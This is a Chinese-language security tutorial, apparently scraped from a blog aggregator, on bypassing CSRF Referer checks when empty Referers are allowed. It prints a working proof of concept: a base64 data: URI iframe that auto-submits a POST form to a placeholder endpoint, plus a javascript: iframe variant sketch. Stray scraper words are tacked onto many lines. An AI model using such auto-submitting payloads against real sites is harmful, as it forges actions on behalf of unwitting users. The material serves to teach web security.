CSRF - 空Referer繞過

在實際環境中,服務器不少CGI因爲一些歷史緣由,必須容許空Referer的請求。好比:老的客戶端版本請求的時候就沒有Referer,總不能在服務端一刀切,讓老版本的用戶都沒法正常使用了吧。javascript

這樣的CGI就存在CSRF攻擊的風險。那麼咱們該如何在真實環境中構造一個可利用的POC呢?html

咱們知道正常的頁面跳轉,瀏覽器都會自動帶上Referer,那麼如今的問題就變成了什麼狀況下瀏覽器會不帶Referer?經過一些資料,能夠大體總結爲兩種狀況:java

1.經過地址欄,手動輸入;從書籤裏面選擇;經過實現設定好的手勢。上面說的這三種都是用戶本身去操做,所以不算CSRF。瀏覽器

2.跨協議間提交請求。常見的協議:ftp://,http://,https://,file://,javascript:,data:.最簡單的狀況就是咱們在本地打開一個HTML頁面,這個時候瀏覽器地址欄是file://開頭的,若是這個HTML頁面向任何http站點提交請求的話,這些請求的Referer都是空的。那麼咱們接下來能夠利用data:協議來構造一個自動提交的CSRF攻擊。固然這個協議是IE不支持的,咱們能夠換用javascript:服務器

假如http://a.b.com/d 這個接口存在空Referer繞過的CSRF,那麼咱們的POC能夠是這樣的:post

<html>
    <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </doby> 
</html>

  

上面iframe的src的代碼實際上是:orm

<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>

  

自動提交表單到有缺陷的CGI.htm

剛纔說了上面的POC對IE支持很差,那麼咱們能夠用javascript:協議來實現一個相似的,大體思路是這樣的,具體構造代碼我不弄了:blog

<iframe id="a" src=""></iframe> 
<script>
    document.getElementById("a").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(xx)</scr'+'ipt></body></html>"';
</script> 
相關文章
相關標籤/搜索